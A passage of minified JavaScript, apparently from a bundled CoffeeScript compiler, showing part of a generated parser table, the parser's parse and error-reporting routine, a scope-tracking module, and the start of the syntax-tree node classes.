A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(Ht,[2,216],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(et,[2,190]),{7:274,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(et,[2,139],{104:[1,275]}),{24:276,25:mt},{24:279,25:mt,27:277,28:r,65:278,82:b},{126:280,128:234,129:jt},{26:[1,281],127:[1,282],128:283,129:jt},t(rn,[2,183]),{7:285,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,101:284,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(sn,[2,102],{118:69,109:89,115:90,24:286,25:mt,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(et,[2,105]),{7:287,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(ft,[2,146]),{6:R,26:[1,288]},{7:289,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t([11,28,30,32,33,36,37,40,41,42,43,44,51,52,53,57,58,82,85,89,94,95,96,102,106,107,110,112,114,116,125,131,133,134,135,136,137,139,140],Gt,{6:on,25:on,60:on,97:on}),{6:un,25:an,97:[1,290]},t([6,25,26,92,97],Zt,{12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,9:18,10:19,45:21,39:22,69:23,70:24,71:25,56:28,67:36,130:37,109:39,113:40,115:41,64:47,65:48,29:49,35:51,27:62,50:63,118:69,31:72,8:122,66:156,7:214,100:293,11:n,28:r,30:i,32:s,33:o,36:u,37:a,40:f,41:l,42:c,43:h,44:p,51:d,52:v,53:m,57:g,58:y,63:Et,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,110:L,112:A,114:O,116:M,125:_,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q}),t(Yt,Ot,{59:294,60:qt}),t(fn,[2,187]),{7:295,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:296,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:297,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(Wt,[2,165]),{27:168,28:r,50:169,64:170,65:171,82:b,95:dt,96:vt,122:298},t([1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,112,116,132],[2,172],{118:69,109:89,115:90,111:[1,299],117:[1,300],135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(ln,[2,173],{118:69,109:89,115:90,111:[1,301],135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{6:cn,25:hn,84:[1,302]},t([6,25,26,84],Zt,{31:72,48:177,10:178,27:179,29:180,50:181,47:305,28:r,30:i,32:s,33:o,52:v,95:dt}),{7:306,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,25:[1,307],27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(ft,[2,31]),t(Nt,[2,29]),t(xt,[2,90]),{7:308,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,79:[2,125],82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{79:[2,126],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},t(Ht,[2,40],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{26:[1,309],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},{6:un,25:an,92:[1,310]},t(Rt,on),{24:311,25:mt},t(_t,[2,60]),{27:113,28:r,50:114,61:312,62:111,63:pt,64:115,65:116,82:b,95:dt,96:vt},t(pn,ht,{61:110,62:111,27:113,50:114,64:115,65:116,54:313,28:r,63:pt,82:b,95:dt,96:vt}),t(_t,[2,65],{118:69,109:89,115:90,110:L,112:A,116:M,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(nn,[2,24]),{26:[1,314],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},t(Ht,[2,215],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{24:315,25:mt,109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},{24:316,25:mt},t(et,[2,140]),{24:317,25:mt},{24:318,25:mt},t(dn,[2,144]),{26:[1,319],127:[1,320],128:283,129:jt},t(et,[2,181]),{24:321,25:mt},t(rn,[2,184]),{24:322,25:mt,60:[1,323]},t(vn,[2,136],{118:69,109:89,115:90,110:L,112:A,116:M,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(et,[2,103]),t(sn,[2,106],{118:69,109:89,115:90,24:324,25:mt,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{108:[1,325]},{97:[1,326],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},t(It,[2,120]),{7:214,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,63:Et,64:47,65:48,66:156,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,100:327,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:214,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,25:wt,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,63:Et,64:47,65:48,66:156,67:36,69:23,70:24,71:25,82:b,85:w,89:E,93:328,94:S,95:x,96:T,100:154,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(Rt,[2,129]),{6:un,25:an,26:[1,329]},t(zt,[2,149],{118:69,109:89,115:90,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(zt,[2,151],{118:69,109:89,115:90,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(zt,[2,162],{118:69,109:89,115:90,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(Wt,[2,171]),{7:330,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:331,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:332,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(It,[2,94]),{10:178,27:179,28:r,29:180,30:i,31:72,32:s,33:o,47:333,48:177,50:181,52:v,95:dt},t(pn,Tt,{31:72,47:176,48:177,10:178,27:179,29:180,50:181,83:334,28:r,30:i,32:s,33:o,52:v,95:dt}),t($t,[2,97]),t($t,[2,43],{118:69,109:89,115:90,110:L,112:A,116:M,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{7:335,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{79:[2,124],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},t(et,[2,41]),t(At,[2,115]),t(et,[2,52]),t(_t,[2,61]),t(Yt,Ot,{59:336,60:Mt}),t(et,[2,214]),t(fn,[2,188]),t(et,[2,141]),t(dn,[2,142]),t(dn,[2,143]),t(et,[2,179]),{24:337,25:mt},{26:[1,338]},t(rn,[2,185],{6:[1,339]}),{7:340,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(et,[2,107]),t(ft,[2,147]),t(ft,[2,123]),t(Rt,[2,130]),t(Yt,Ot,{59:341,60:qt}),t(Rt,[2,131]),t([1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,132],[2,174],{118:69,109:89,115:90,117:[1,342],135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(ln,[2,176],{118:69,109:89,115:90,111:[1,343],135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(Ht,[2,175],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t($t,[2,98]),t(Yt,Ot,{59:344,60:Vt}),{26:[1,345],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},{6:en,25:tn,26:[1,346]},{26:[1,347]},t(et,[2,182]),t(rn,[2,186]),t(vn,[2,137],{118:69,109:89,115:90,110:L,112:A,116:M,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{6:un,25:an,26:[1,348]},{7:349,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:350,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{6:cn,25:hn,26:[1,351]},t($t,[2,44]),t(_t,[2,62]),t(et,[2,180]),t(Rt,[2,132]),t(Ht,[2,177],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(Ht,[2,178],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t($t,[2,99])],defaultActions:{60:[2,54],61:[2,55],96:[2,113],203:[2,93]},parseError:function(e,t){if(!t.recoverable)throw Error(e);this.trace(e)},parse:function(e){function t(){var e;return e=d.lex()||h,\"number\"!=typeof e&&(e=n.symbols_[e]||e),e}var n=this,r=[0],i=[null],s=[],o=this.table,u=\"\",a=0,f=0,l=0,c=2,h=1,p=s.slice.call(arguments,1),d=Object.create(this.lexer),v={yy:{}};for(var m in this.yy)Object.prototype.hasOwnProperty.call(this.yy,m)&&(v.yy[m]=this.yy[m]);d.setInput(e,v.yy),v.yy.lexer=d,v.yy.parser=this,d.yylloc===void 0&&(d.yylloc={});var g=d.yylloc;s.push(g);var y=d.options&&d.options.ranges;this.parseError=\"function\"==typeof v.yy.parseError?v.yy.parseError:Object.getPrototypeOf(this).parseError;for(var b,w,E,S,x,T,N,C,k,L={};;){if(E=r[r.length-1],this.defaultActions[E]?S=this.defaultActions[E]:((null===b||b===void 0)&&(b=t()),S=o[E]&&o[E][b]),S===void 0||!S.length||!S[0]){var A=\"\";k=[];for(T in o[E])this.terminals_[T]&&T>c&&k.push(\"'\"+this.terminals_[T]+\"'\");A=d.showPosition?\"Parse error on line \"+(a+1)+\":\\n\"+d.showPosition()+\"\\nExpecting \"+k.join(\", \")+\", got '\"+(this.terminals_[b]||b)+\"'\":\"Parse error on line \"+(a+1)+\": Unexpected \"+(b==h?\"end of input\":\"'\"+(this.terminals_[b]||b)+\"'\"),this.parseError(A,{text:d.match,token:this.terminals_[b]||b,line:d.yylineno,loc:g,expected:k})}if(S[0]instanceof Array&&S.length>1)throw Error(\"Parse Error: multiple actions possible at state: \"+E+\", token: \"+b);switch(S[0]){case 1:r.push(b),i.push(d.yytext),s.push(d.yylloc),r.push(S[1]),b=null,w?(b=w,w=null):(f=d.yyleng,u=d.yytext,a=d.yylineno,g=d.yylloc,l>0&&l--);break;case 2:if(N=this.productions_[S[1]][1],L.$=i[i.length-N],L._$={first_line:s[s.length-(N||1)].first_line,last_line:s[s.length-1].last_line,first_column:s[s.length-(N||1)].first_column,last_column:s[s.length-1].last_column},y&&(L._$.range=[s[s.length-(N||1)].range[0],s[s.length-1].range[1]]),x=this.performAction.apply(L,[u,f,a,v.yy,S[1],i,s].concat(p)),x!==void 0)return x;N&&(r=r.slice(0,-2*N),i=i.slice(0,-1*N),s=s.slice(0,-1*N)),r.push(this.productions_[S[1]][0]),i.push(L.$),s.push(L._$),C=o[r[r.length-2]][r[r.length-1]],r.push(C);break;case 3:return!0}}return!0}};return e.prototype=mn,mn.Parser=e,new e}();return _dereq_!==void 0&&e!==void 0&&(e.parser=n,e.Parser=n.Parser,e.parse=function(){return n.parse.apply(n,arguments)},e.main=function(t){t[1]||(console.log(\"Usage: \"+t[0]+\" FILE\"),process.exit(1));var n=_dereq_(\"fs\").readFileSync(_dereq_(\"path\").normalize(t[1]),\"utf8\");return e.parser.parse(n)},t!==void 0&&_dereq_.main===t&&e.main(process.argv.slice(1))),t.exports}(),_dereq_[\"./scope\"]=function(){var e={},t={exports:e};return function(){var t,n=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};e.Scope=t=function(){function e(e,t,n,r){var i,s;this.parent=e,this.expressions=t,this.method=n,this.referencedVars=r,this.variables=[{name:\"arguments\",type:\"arguments\"}],this.positions={},this.parent||(this.utilities={}),this.root=null!=(i=null!=(s=this.parent)?s.root:void 0)?i:this}return e.prototype.add=function(e,t,n){return this.shared&&!n?this.parent.add(e,t,n):Object.prototype.hasOwnProperty.call(this.positions,e)?this.variables[this.positions[e]].type=t:this.positions[e]=this.variables.push({name:e,type:t})-1},e.prototype.namedMethod=function(){var e;return(null!=(e=this.method)?e.name:void 0)||!this.parent?this.method:this.parent.namedMethod()},e.prototype.find=function(e){return this.check(e)?!0:(this.add(e,\"var\"),!1)},e.prototype.parameter=function(e){return this.shared&&this.parent.check(e,!0)?void 0:this.add(e,\"param\")},e.prototype.check=function(e){var t;return!!(this.type(e)||(null!=(t=this.parent)?t.check(e):void 0))},e.prototype.temporary=function(e,t,n){return null==n&&(n=!1),n?(t+parseInt(e,36)).toString(36).replace(/\\d/g,\"a\"):e+(t||\"\")},e.prototype.type=function(e){var t,n,r,i;for(r=this.variables,t=0,n=r.length;n>t;t++)if(i=r[t],i.name===e)return i.type;return null},e.prototype.freeVariable=function(e,t){var r,i,s;for(null==t&&(t={}),r=0;;){if(s=this.temporary(e,r,t.single),!(this.check(s)||n.call(this.root.referencedVars,s)>=0))break;r++}return(null!=(i=t.reserve)?i:!0)&&this.add(s,\"var\",!0),s},e.prototype.assign=function(e,t){return this.add(e,{value:t,assigned:!0},!0),this.hasAssignments=!0},e.prototype.hasDeclarations=function(){return!!this.declaredVariables().length},e.prototype.declaredVariables=function(){var e;return function(){var t,n,r,i;for(r=this.variables,i=[],t=0,n=r.length;n>t;t++)e=r[t],\"var\"===e.type&&i.push(e.name);return i}.call(this).sort()},e.prototype.assignedVariables=function(){var e,t,n,r,i;for(n=this.variables,r=[],e=0,t=n.length;t>e;e++)i=n[e],i.type.assigned&&r.push(i.name+\" = \"+i.type.value);return r},e}()}.call(this),t.exports}(),_dereq_[\"./nodes\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D,P,H,B,j,F,I,q,R,U,z,W,X,V,$,J,K,Q,G,Y,Z,et,tt,nt,rt,it,st,ot,ut,at,ft,lt,ct,ht,pt,dt,vt,mt,gt,yt,bt,wt=function(e,t){function n(){this.constructor=e}for(var r in t)Et.call(t,r)&&(e[r]=t[r]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},Et={}.hasOwnProperty,St=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},xt=[].slice;Error.stackTraceLimit=1/0,R=_dereq_(\"./scope\").Scope,pt=_dereq_(\"./lexer\"),B=pt.RESERVED,q=pt.STRICT_PROSCRIBED,dt=_dereq_(\"./helpers\"),et=dt.compact,it=dt.flatten,rt=dt.extend,lt=dt.merge,tt=dt.del,mt=dt.starts,nt=dt.ends,vt=dt.some,Z=dt.addLocationDataFn,ft=dt.locationDataToString,gt=dt.throwSyntaxError,e.extend=rt,e.addLocationDataFn=Z,Y=function(){return!0},O=function(){return!1},V=function(){return this},A=function(){return this.negated=!this.negated,this},e.CodeFragment=f=function(){function e(e,t){var n;this.code=\"\"+t,this.locationData=null!=e?e.locationData:void 0,this.type=(null!=e?null!=(n=e.constructor)?n.name:void 0:void 0)||\"unknown\"}return e.prototype.toString=function(){return\"\"+this.code+(this.locationData?\": \"+ft(this.locationData):\"\")},e}(),st=function(e){var t;return function(){var n,r,i;for(i=[],n=0,r=e.length;r>n;n++)t=e[n],i.push(t.code);return i}().join(\"\")},e.Base=i=function(){function e(){}return e.prototype.compile=function(e,t){return st(this.compileToFragments(e,t))},e.prototype.compileToFragments=function(e,t){var n;return e=rt({},e),t&&(e.level=t),n=this.unfoldSoak(e)||this,n.tab=e.indent,e.level!==k&&n.isStatement(e)?n.compileClosure(e):n.compileNode(e)},e.prototype.compileClosure=function(e){var n,r,i,u,f,l,c;return(u=this.jumps())&&u.error(\"cannot use a pure statement in an expression\"),e.sharedScope=!0,i=new a([],s.wrap([this])),n=[],((r=this.contains(ut))||this.contains(at))&&(n=[new L(\"this\")],r?(f=\"apply\",n.push(new L(\"arguments\"))):f=\"call\",i=new Q(i,[new t(new L(f))])),l=(new o(i,n)).compileNode(e),(i.isGenerator||(null!=(c=i.base)?c.isGenerator:void 0))&&(l.unshift(this.makeCode(\"(yield* \")),l.push(this.makeCode(\")\"))),l},e.prototype.cache=function(e,t,n){var i,s,o;return i=null!=n?n(this):this.isComplex(),i?(s=new L(e.scope.freeVariable(\"ref\")),o=new r(s,this),t?[o.compileToFragments(e,t),[this.makeCode(s.value)]]:[o,s]):(s=t?this.compileToFragments(e,t):this,[s,s])},e.prototype.cacheToCodeFragments=function(e){return[st(e[0]),st(e[1])]},e.prototype.makeReturn=function(e){var t;return t=this.unwrapAll(),e?new o(new L(e+\".push\"),[t]):new F(t)},e.prototype.contains=function(e){var t;return t=void 0,this.traverseChildren(!1,function(n){return e(n)?(t=n,!1):void 0}),t},e.prototype.lastNonComment=function(e){var t;for(t=e.length;t--;)if(!(e[t]instanceof l))return e[t];return null},e.prototype.toString=function(e,t){var n;return null==e&&(e=\"\"),null==t&&(t=this.constructor.name),n=\"\\n\"+e+t,this.soak&&(n+=\"?\"),this.eachChild(function(t){return n+=t.toString(e+X)}),n},e.prototype.eachChild=function(e){var t,n,r,i,s,o,u,a;if(!this.children)return this;for(u=this.children,r=0,s=u.length;s>r;r++)if(t=u[r],this[t])for(a=it([this[t]]),i=0,o=a.length;o>i;i++)if(n=a[i],e(n)===!1)return this;return this},e.prototype.traverseChildren=function(e,t){return this.eachChild(function(n){var r;return r=t(n),r!==!1?n.traverseChildren(e,t):void 0})},e.prototype.invert=function(){return new D(\"!\",this)},e.prototype.unwrapAll=function(){var e;for(e=this;e!==(e=e.unwrap()););return e},e.prototype.children=[],e.prototype.isStatement=O,e.prototype.jumps=O,e.prototype.isComplex=Y,e.prototype.isChainable=O,e.prototype.isAssignable=O,e.prototype.unwrap=V,e.prototype.unfoldSoak=O,e.prototype.assigns=O,e.prototype.updateLocationDataIfMissing=function(e){return this.locationData?this:(this.locationData=e,this.eachChild(function(t){return t.updateLocationDataIfMissing(e)}))},e.prototype.error=function(e){return gt(e,this.locationData)},e.prototype.makeCode=function(e){return new f(this,e)},e.prototype.wrapInBraces=function(e){return[].concat(this.makeCode(\"(\"),e,this.makeCode(\")\"))},e.prototype.joinFragmentArrays=function(e,t){var n,r,i,s,o;for(n=[],i=s=0,o=e.length;o>s;i=++s)r=e[i],i&&n.push(this.makeCode(t)),n=n.concat(r);return n},e}(),e.Block=s=function(e){function t(e){this.expressions=et(it(e||[]))}return wt(t,e),t.prototype.children=[\"expressions\"],t.prototype.push=function(e){return this.expressions.push(e),this},t.prototype.pop=function(){return this.expressions.pop()},t.prototype.unshift=function(e){return this.expressions.unshift(e),this},t.prototype.unwrap=function(){return 1===this.expressions.length?this.expressions[0]:this},t.prototype.isEmpty=function(){return!this.expressions.length},t.prototype.isStatement=function(e){var t,n,r,i;for(i=this.expressions,n=0,r=i.length;r>n;n++)if(t=i[n],t.isStatement(e))return!0;return!1},t.prototype.jumps=function(e){var t,n,r,i,s;for(s=this.expressions,n=0,i=s.length;i>n;n++)if(t=s[n],r=t.jumps(e))return r},t.prototype.makeReturn=function(e){var t,n;for(n=this.expressions.length;n--;)if(t=this.expressions[n],!(t instanceof l)){this.expressions[n]=t.makeReturn(e),t instanceof F&&!t.expression&&this.expressions.splice(n,1);break}return this},t.prototype.compileToFragments=function(e,n){return null==e&&(e={}),e.scope?t.__super__.compileToFragments.call(this,e,n):this.compileRoot(e)},t.prototype.compileNode=function(e){var n,r,i,s,o,u,a,f,l;for(this.tab=e.indent,l=e.level===k,r=[],f=this.expressions,s=o=0,u=f.length;u>o;s=++o)a=f[s],a=a.unwrapAll(),a=a.unfoldSoak(e)||a,a instanceof t?r.push(a.compileNode(e)):l?(a.front=!0,i=a.compileToFragments(e),a.isStatement(e)||(i.unshift(this.makeCode(\"\"+this.tab)),i.push(this.makeCode(\";\"))),r.push(i)):r.push(a.compileToFragments(e,T));return 